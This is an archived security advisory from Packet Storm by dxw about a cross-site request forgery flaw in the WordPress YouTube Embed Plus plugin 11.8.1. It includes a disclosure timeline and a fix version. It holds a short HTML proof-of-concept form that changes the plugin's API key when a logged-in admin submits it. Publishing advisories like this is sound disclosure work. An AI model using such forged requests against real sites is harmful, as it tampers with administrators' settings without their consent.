exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress YouTube Embed Plus 11.8.1 Cross Site Request Forgery

WordPress YouTube Embed Plus 11.8.1 Cross Site Request Forgery
Posted Jul 26, 2017
Authored by Tom Adams

WordPress YouTube Embed Plus plugin version 11.8.1 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 6978786658c9e7e79af098ad01d5a2b6a44041145b418751a98e98150db7f01e

WordPress YouTube Embed Plus 11.8.1 Cross Site Request Forgery

Change Mirror Download
Details
================
Software: YouTube
Version: 11.8.1
Homepage: https://wordpress.org/plugins/youtube-embed-plus/
Advisory report: https://security.dxw.com/advisories/csrf-in-youtube-plugin/
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Description
================
CSRF in YouTube (WordPress plugin) could allow unauthenticated attacker to change any setting within the plugin

Vulnerability
================
The plugin contains a CSRF vulnerability which allows an attacker to change any setting in the plugin so long as they can cause a logged-in admin user to follow a link.
The impact of the CSRF vulnerabilityA appears to be limitedA because it seems thatA the plugin is not vulnerable to XSS orA anything else which could be used in conjunction with the CSRF vulnerability.

Proof of concept
================
Visit a page with the following content, and click submit:
<form method=\"POST\" action=\"http://localhost/wp-admin/admin.php?page=youtube-my-preferences\">
<input type=\"text\" name=\"ytprefs_submitted\" value=\"Y\">
<input type=\"text\" name=\"apikey\" value=\"HELLO\">
<input type=\"submit\">
</form>
The aYouTube API Key:a value will be set to aHELLOa.
In a real attack, forms can be auto-submitted.

Mitigations
================
Upgrade to versionA 11.8.2 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2017-06-12: Discovered
2017-07-18: Reported toA ext@embedplus.com
2017-07-18: First response from vendor, promises a new version
2017-07-19: New version released (changelog says aMake settings form more securea)
2017-07-25: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.




Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    20 Files
  • 31
    Jan 31st
    31 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close